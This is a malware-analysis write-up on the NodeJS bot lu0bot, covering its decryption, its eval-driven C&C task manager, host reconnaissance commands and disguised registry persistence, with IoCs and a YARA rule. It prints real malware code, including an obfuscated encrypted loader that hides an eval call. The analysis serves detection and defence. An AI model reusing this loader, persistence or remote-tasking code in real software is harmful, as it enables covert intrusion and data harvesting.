Module Package/Packet/Program ?
Monitoring and logging an executed task/script.

mp:                              
   { key:                        # Key is Personal ID
      { id:  ,                   # Key ID (Event ID)
        pid: ,                   # Personal ID
        gen:  ,                  # Starting Timestamp
        last: ,                  # Last Tick Update
        tmr: [Object],           # Timer
        p: {},                   # Package/Packet
        psz:                     # Package/Packet Size
        btotal:                  # ???
        type: 'upload',          # Upload/Download type
        hn: 'bufread',           # Handle name called
        target: 'binit',         # Script name called (From C&C)
        fp: ,                    # Buffer
        size: ,                  # Size
        fcb: [Function],         # FailCallBack
        rcb: [Function],         # ???
        interval: 200,           # Internval Timer
        last_sev: 1622641866909, # Last Timer Event
        stmr: false              # Script Timer
}

Ingenious trick for calling functions dynamically

Usually, when you are reversing malware, you are always confronted (or almost every time) about maldev hiding API Calls with tricks like GetProcAddress or Hashing.

function sc(m, r) {
    if (!m || m.length < 34) return;
    m[16] ^= m[2];
    m[17] ^= m[3];
    var l = m.readUInt16BE(16);
    if (18 + l > m.length) return;
    var ko = s.pk[r.address + ' ' + r.port];
    var c = crypto.createDecipheriv('aes-128-cbc', ko.k, m.slice(0, 16));
    m = Buffer.concat([c.update(m.slice(18, 18 + l)), c.final()]);
    m = {
        q: m.readUInt32BE(0),
        c: m.readUInt16BE(4),
        ko: ko,
        d: m.slice(6)
    };
    l = 'c' + m.c;        // Function name is now saved
    if (s[l]) s[l](m, r);
}

As someone that is not really experienced in the NodeJS environment, I wasn’t really triggering the trick performed here but for web dev, I would believe this is likely obvious (or maybe I’m wrong). The thing that you need to really take attention to is what is happening with “c” char and m.c.

By reading the official NodeJs documemtation: The Buffer.readUInt16BE() method is an inbuilt application programming interface of class Buffer within the Buffer module which is used to read 16-bit value from an allocated buffer at a specified offset.

Buffer.readUInt16BE( offset )

In this example it will return in a real case scenario the value “1”, so with the variable l, it will create “c1” , a function stored into the global variable s. In the end, s[“c1”](m,r) is also meaning s.c1(m,r).

A well-done task manager architecture

Q variable used as Macro PoV Task Manager

“Q” is designed to be the main task manager.
If Q value is not on LQ, adding it into LQ stack, then executing the code content (with eval) from m (message).

if (!lq[q]) {                               // if query not in the queue, creating it
    lq[q] = [0, false];
    setTimeout(function() {
        delete lq[q]
    }, 30000);
    try {
        for (var p = 0; p < m.d.length; p++)
            if (!m.d[p]) break;
        var es = m.d.slice(0, p).toString(); // es -> Execute Script
        m.d = m.d.slice(p + 1);
        if (!m.d.length) m.d = false;
        eval(es)                             // eval, our sweat eval...
    } catch (e) {
        console.log(e);
    }
    return;
}
if (lq[q][0]) {
    s.ss(ko.pid, q, 1, lq[q][1]);
}

MP variable used as Micro PoV Task Manager

“MP” is designed to execute tasks coming from C&C’s.
Each task is executed independantly!

function mp_opnew(m) {

    var o = false;                       // o -> object
    try {
        o = JSON.parse(m.d);             // m.d (message.data) is saved into o
    } catch (e) {}
    if (!o || !o.id) return c1r(m, -1);  // if o empty, or no id, returning -1 
    if (!ko.h[o.hn]) return c1r(m, -2);  // if no functions set from hn, returning -2
    var mp = ko.mp_new(o.id);            // Creating mp ---------------------------
    for (var k in o) mp[k] = o[k];                                                |
    var hr = ko.h[o.hn](mp);                                                      |
    if (!hr) {                                                                    |
        ko.mp_del(mp);                                                            |
        return c1r(m, -3)                // if hr is incomplete, returning -3     |
    }                                                                             |
    c1r(m, hr);                          // returning hr                          |                                                                                             
}                                                                                 |
                                                                                  |
function mp_new(id, ivl) {    <----------------------------------------------------
    var ivl = ivl ? ivl : 5000;          // ivl -> interval
    var now = Date.now();        
    if (!lmp[id]) lmp[id] = {            // mp list 
        id: id,
        pid: ko.pid,
        gen: now,
        last: now,
        tmr: false,
        p: {},
        psz: 0,
        btotal: 0
    };
    var mp = lmp[id];
    if (!mp.tmr) mp.tmr = setInterval(function() {
        if (Date.now() - mp.last > 1000 * 120) {
            ko.mp_del(id);
            return;
        }
        if (mp.tcb) mp.tcb(mp);
    }, ivl);
    mp.last = now;
    return mp;
}

O (Object) – C&C Task

This object is receiving tasks from the C&C. Technically, this is (I believed) one of the most interesting variable to track with this malware..

It contains 4 or 5 values
- type.
  - upload
  - download
- hn : Handle Name
- sz: Size (Before Zlib decompression)
- psz: ???
- target: name of the command/script received from C&C

// o content
{ 
        id: 'XXXXXXXXXXXXXXXXX',
        type: 'upload',
        hn: 'eval',
        sz: 9730,
        psz: 1163,
        target: 'bootstrap-base.js',
}

on this specific scenario, it’s uploading on the bot a file from the C&C called “bootstrap-base.js” and it will be called with the handle name (hn) function eval.

Summary

Aggressive telemetry harvester

Usually, when malware is gathering information from a new bot it is extremely fast but here for exactly 7/8 minutes your VM/Machine is literally having a bad time.

Preparing environment

Gathering system information

Process info

tasklist /fo csv /nh
wmic process get processid,parentprocessid,name,executablepath /format:csv
qprocess *

Network info

ipconfig.exe /all
route.exe print
netstat.exe -ano
systeminfo.exe /fo csv

Saving Environment & User path(s)

*Saving environment variables EI_HOME (EI = EINFO)*

EI_DESKTOP
  |--> st.env['EI_HOME'] + '\\Desktop';
EI_DOCUMENTS 
  |--> st.env['EI_HOME'] + '\\Documents';
  |--> st.env['EI_HOME'] + '\\My Documents';
EI_PROGRAMFILES1
  |--> var tdir1 = exports.env_get('ProgramFiles');
  |--> var tdir2 = exports.env_get('ProgramFiles(x86)');
  |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files (x86)';
EI_PROGRAMFILES2
  |--> var tdir3 = exports.env_get('ProgramW6432');
  |--> st.env['EI_HOME'].substr(0,1) + '\\Program Files';
EI_DOWNLOADS
  |-->  st.env['EI_HOME'] + '\\Downloads';

Console information

These two variables are basically conditions to check if the process was performed. (ISCONPROBED is set to true when the whole thing is complete).

env["ISCONPROBED"] = false;
env["ISCONSOLE"] = true;

Required values for completing the task..

env["WINDIR"] = val;
env["TEMP"] = val;
env["USERNAME_RUN"] = val;
env["USERNAME"] =  val;
env["USERNAME_SID"] = s;
env["ALLUSERSPROFILE"] = val;
env["APPDATA"] = val;

Checking old windows versions

Curiously, it’s checking if the bot is using an old Microsoft Windows version.

NT 5.X – Windows 2000/XP
NT 6.0 – Vista

function check_oldwin(){
    var osr = os.release();

    if(osr.indexOf('5.')===0 || osr.indexOf('6.0')===0) return osr;

    return false;
}
exports.check_oldwin = check_oldwin;

This is basically a condition after for using an alternative command with pslist

function ps_list_alt(cb){
    var cmd = ['qprocess','*'];
    if(check_oldwin()) cmd.push('/system');
   ....

Checking ADS streams for hiding content into it for later

Harvesting functions 101

bufstore_save(key,val,opts)         # Save Buffer Storage 
bufstore_get(key,clear)             # Get Buffer Storage 
strstrip(str)                       # String Strip
name_dirty_fncmp(f1,f2)             # Filename Compare (Dirty)
dirvalidate_dirty(file)             # Directory Checking (Dirty)
file_checkbusy(file)                # Checking if file is used
run_detached(args,opts,show)        # Executing command detached
run(args,opts,cb)                   # Run command
check_oldwin()                      # Check if Bot OS is NT 5.0 or NT 6.0
ps_list_alt(cb)                     # PS List (Alternative way)
ps_list_tree(list,results,opts,pid) # PS List Tree
ps_list(arg,cb)                     # PS list 
ps_exist(pid)                       # Check if PID Exist
ps_kill(pid)                        # Kill PID
reg_get_parse(out)                  # Parsing Registry Query Result
reg_hkcu_get()                      # Get HKCU
reg_hkcu_replace(path)              # Replace HKCU Path
reg_get(key,cb)                     # Get Content
reg_get_dir(key,cb)                 # Get Directory
reg_get_key(key,cb)                 # Get SubKey
reg_set_key(key,value,type,cb)      # Set SubKey
reg_del_key(key,force,cb)           # Del SubKey
get_einfo_1(ext,cb)                 # Get EINFO Step 1
dirlistinfo(dir,limit)              # Directory Listing info 
get_einfo_2(fcb)                    # Get EINFO Step 2
env_get(key,kv,skiple)              # Get Environment
console_get(cb)                     # Get Console environment variables
console_get_done(cb,err)            # Console Try/Catch callback
console_get_s0(ccb)                 # Console Step 0
console_get_s1(ccb)                 # Console Step 1
console_get_s2(ccb)                 # Console Step 2
console_get_s3(ccb)                 # Console Step 3
ads_test()                          # Checking if bot is using ADS streams
diskser_get_parse(dir,out)          # Parse Disk Serial command results
diskser_get(cb)                     # Get Disk Serial
prepare_dirfile_env(file,cb)        # Prepare Directory File Environment
prepare_file_env(file,cb)           # Prepare File Environment
hash_md5_var(val)                   # MD5 Checksum
getosinfo()                         # Get OS Information
rand(min, max)                      # Rand() \o/
ipctask_start()                     # IPC Task Start (Interprocess Communication)
ipctask_tick()                      # IPC Task Tick (Interprocess Communication)
baseinit_s0(cb)                     # Baseinit Step 0
baseinit_s1(cb)                     # Baseinit Step 1
baseinit_s2(cb)                     # Baseinit Step 2
baseinit_einfo_1_2(cb)              # Baseinit EINFO

Funky Persistence

The persistence is saved in the classic HKCU Run path

[HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"Intel Management Engine Components 4194521778"="wscript.exe /t:30 /nologo /e:jscript \"C:\ProgramData\Intel\Intel(R) Management Engine Components\Intel MEC 750293792\" \"C:\ProgramData\Intel\Intel(R) Management Engine Components\" 2371015226"

Critical files are stored into a fake “Intel” folder in ProgramData.

ProgramData
    |-- Intel
        |--  Intel(R) Management Engine Components
            |--> Intel MEC 246919961
            |--> Intel MEC 750293792

Intel MEC 750293792

new ActiveXObject("WScript.shell").Run('"C:\ProgramData\DNTException\node.exe" "' + WScript.Arguments(0) + '\Intel MEC 246919961" ' + WScript.Arguments(1), 0, false);

Intel MEC 246919961

var c = new Buffer((process.argv[2] + 38030944).substr(0, 8));
c = require("crypto").createDecipheriv("bf", c, c);
global["\x65\x76" + "\x61\x6c"](Buffer.concat([c.update(new Buffer("XSpPi1eP/0WpsZRcbNXtfiw8cHqIm5HuTgi3xrsxVbpNFeB6S6BXccVSfA/JcVXWdGhhZhJf4wHv0PwfeP1NjoyopLZF8KonEhv0cWJ7anho0z6s+0FHSixl7V8dQm3DTlEx9zw7nh9SGo7MMQHRGR63gzXnbO7Z9+n3J75SK44dT4fNByIDf4rywWv1+U7FRRfK+GPmwwwkJWLbeEgemADWttHqKYWgEvqEwrfJqAsKU/TS9eowu13njTAufwrwjqjN9tQNCzk5olN0FZ9Cqo/0kE5+HWefh4f626PAubxQQ52X+SuUqYiu6fiLTNPlQ4UVYa6N61tEGX3YlMLlPt9NNulR8Q1phgogDTEBKGcBlzh9Jlg3Q+2Fp84z5Z7YfQKEXkmXl/eob8p4Putzuk0uR7/+Q8k8R2DK1iRyNw5XIsfqhX3HUhBN/3ECQYfz+wBDo/M1re1+VKz4A5KHjRE+xDXu4NcgkFmL6HqzCMIphnh5MZtZEq+X8NHybY2cL1gnJx6DsGTU5oGhzTh/1g9CqG6FOKTswaGupif+mk1lw5GG2P5b5w==", "\x62\x61\x73" + "\x65\x36\x34")), c.final()]).toString());

The workaround is pretty cool in the end

WScript is launched after waiting for 30s
JScript is calling “Intel MEC 750293792”
“Intel MEC 750293792” is executing node.exe with arguments from the upper layer
This setup is triggering the script “Intel MEC 246919961”
- the Integer value from the upper layer(s) is part of the Blowfish key generation
- global[“\x65\x76” + “\x61\x6c”] is in fact hiding an eval call
- the encrypted buffer is storing the lu0bot NodeJS loader.

Ongoing troubleshooting in production ?

It is possible to see in some of the commands received, some lines of codes that are disabled. Unknown if it’s intended or no, but it’s pretty cool to see about what the maldev is working.

It feels like a possible debugging scenario for understanding an issue.

Outdated NodeJS still living and kickin’

Interestingly, lu0bot is using a very old version of node.exe, way older than could be expected.

*node.exe used by lu0bot is an outdated one*

This build (0.10.48), is apparently from 2016, so in term of functionalities, there is a little leeway for exploiting NodeJS, due that most of its APIs wasn’t yet implemented at that time.

The issue mentioned above is “seen” when lu0bot is pushing and executing “bootstrap-base.js“. On build 0.10.XXX, “Buffer” wasn’t fully implemented yet. So the maldev has implemented missing function(s) on this specific version, I found this “interesting”, because it means it will stay with a static NodeJS runtime environment that won’t change for a while (or likely never). This is a way for avoiding cryptography troubleshooting issues, between updates it could changes in implementations that could break the whole project. So fixed build is avoiding maintenance or unwanted/unexpected hotfixes that could caused too much cost/time consumption for the creator of lu0bot (everything is business \o/).

*Interesting module version value in bootstrap-base.js*

Of course, We couldn’t deny that lu0bot is maybe an old malware, but this statement needs to be taken with cautiousness.

By looking into “bootstrap-base.js”, the module is apparently already on version “6.0.15”, but based on experience, versioning is always a confusing thing with maldev(s), they have all a different approach, so with current elements, it is pretty hard to say more due to the lack of samples.

What is the purpose of lu0bot ?

Well, to be honest, I don’t know… I hate making suggestions with too little information, it’s dangerous and too risky. I don’t want to lead people to the wrong path. It’s already complicated to explain something with no “public” records, even more, when it is in a programming language for that specific purpose. At this stage, It’s smarter to focus on what the code is able to do, and it is certain that it’s a decent data collector.

Also, this simplistic and efficient NodeJS loader code saved at the core of lu0bot is basically everything and nothing at the same time, the eval function and its multi-layer task manager could lead to any possibilities, where each action could be totally independent of the others, so thinking about features like :

Backdoor ?
Loader ?
RAT ?
Infostealer ?

All scenario are possible, but as i said before I could be right or totally wrong.

Where it could be seen ?

Currently, it seems that lu0bot is pushed by the well-known load seller Garbage Cleaner on EU/US Zones irregularly with an average of possible 600-1000 new bots (each wave), depending on the operator(s) and days.

Appendix

IoCs

IP

5.188.206[.]211

lu0bot loader C&C’s (HTTP)

hr0[.]xyz
hr1[.]xyz
hr2[.]xyz
hr3[.]xyz
hr4[.]xyz
hr5[.]xyz
hr6[.]xyz
hr7[.]xyz
hr8[.]xyz
hr9[.]xyz
hr10[.]xyz

lu0bot main C&C’s (UDP side)

lu00[.]xyz
lu01[.]xyz
lu02[.]xyz
lu03[.]xyz

Yara

rule lu0bot_cpp_loader
{
    meta:
        author = "Fumik0_"
        description = "Detecting lu0bot C/C++ lightweight loader"

    strings:
        $hex_1 = {
            BE 00 20 40 00 
            89 F7 
            89 F0
            81 C7 ?? 01 00 00 
            81 2E ?? ?? ?? ?? 
            83 C6 04 
            39 FE 
            7C ?? 
            BB 00 00 00 00 
            53 50 
            E8 ?? ?? ?? ??
            E9 ?? ?? ?? ??
        }
    
    condition:
        (uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550) and
        (filesize > 2KB and filesize < 5KB) and 
        any of them
    
}

IoCs

fce3d69b9c65945dcfbb74155f2186626f2ab404e38117f2222762361d7af6e2  Lu0bot loader.exe
c88e27f257faa0a092652e42ac433892c445fc25dd445f3c25a4354283f6cdbf  Lu0bot loader.exe
b8b28c71591d544333801d4673080140a049f8f5fbd9247ed28064dd80ef15ad  Lu0bot loader.exe
5a2264e42206d968cbcfff583853a0e0d4250f078a5e59b77b8def16a6902e3f  Lu0bot loader.exe
f186c2ac1ba8c2b9ab9b99c61ad3c831a6676728948ba6a7ab8345121baeaa92  Lu0bot loader.exe


8d8b195551febba6dfe6a516e0ed0f105e71cf8df08d144b45cdee13d06238ed  response1.bin
214f90bf2a6b8dffa8dbda4675d7f0cc7ff78901b3c3e03198e7767f294a297d  response2.bin
c406fbef1a91da8dd4da4673f7a1f39d4b00fe28ae086af619e522bc00328545  response3.bin

ccd7dcdf81f4acfe13b2b0d683b6889c60810173542fe1cda111f9f25051ef33  Intel MEC 246919961
e673547a445e2f959d1d9335873b3bfcbf2c4de2c9bf72e3798765ad623a9067  Intel MEC 750293792

Example of lu0bot interaction


ko
{ pid: 'XXXXXX',
  aid: '5.188.206.211 19584',
  q: XXXXXXXXXX, 
  t: XXXXXXXXXXXXX,
  lq: 
   { ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
     ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] },
  pk: 'BASE64_ENCRYPTED',
  k: <Buffer 3c 60 22 73 97 cc 76 22 bc eb b5 79 46 3d 05 9e>,
  mp: 
   { XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,i
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function],
        interval: 200,
        last_sev: XXXXXXXXXXXXX,
        stmr: false },
     XXXXXXXXXXXX: 
      { id: 'XXXXXXXXXXXX',
        pid: 'XXXXXXX',
        gen: XXXXXXXXXXXXX,
        last: XXXXXXXXXXXXX,
        tmr: [Object],
        p: {},
        psz: 1163,
        btotal: 0,
        type: 'download',
        hn: 'bufread',
        target: 'binit',
        fp: <Buffer 1f 8b 08 00 00 00 00 00 00 0b 95 54 db 8e 9b 30 10 fd 95 c8 4f ad 44 91 31 c6 80 9f 9a 26 69 1b 29 9b 8d b2 59 f5 a1 54 91 81 a1 41 21 18 61 92 6d bb c9 ...>,
        size: 798,
        fcb: [Function],
        rcb: [Function] } },
  h: 
   { eval: [Function],
     bufwrite: [Function],
     bufread: [Function],
     filewrite: [Function],
     fileread: [Function] },
  mp_pget: [Function],
  mp_pget_ev: [Function],
  mp_new: [Function: mp_new],
  mp_get: [Function: mp_get],
  mp_count: [Function: mp_count],
  mp_loss: [Function: mp_loss],
  mp_del: [Function: mp_del],
  mp_dtchk: [Function: mp_dtchk],
  mp_dtsum: [Function: mp_dtsum],
  mp_pset: [Function: mp_pset],
  mp_opnew: [Function: mp_opnew],
  mp_opstat: [Function: mp_opstat] }
lq
{ ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 30 00 00 00 00 09 00 00 26 02> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 74 72 75 65> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 37 39 38> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ],
  ' XXXXXXXXXXXXX': [ 1, <Buffer 31> ] 
}

MITRE ATT&CK

T1059
T1482
T1083
T1046
T1057
T1518
T1082
T1614
T1016
T1124
T1005
T1008
T1571

ELI5 summary

lu0bot is a NodeJS Malware.
Network communications are mixing TCP (loader) and UDP (main stage).
It’s pushed at least with Garbage Cleaner.
Its default setup seems to be a aggressive telemetry harvester.
Due to its task manager architecture it is technically able to be everything.

Conclusion

Lu0bot is a curious piece of code which I could admit, even if I don’t like at all NodeJS/JavaScript code, the task manager succeeded in mindblowing me for its ingeniosity.

*A wild fumik0_ being amazed by the task manager implementation*

I have more questions than answers since then I started to put my hands on that one, but the thing that I’m sure, it’s active and harvesting data from bots that I have never seen before in such an aggressive way.

Special thanks: @benkow_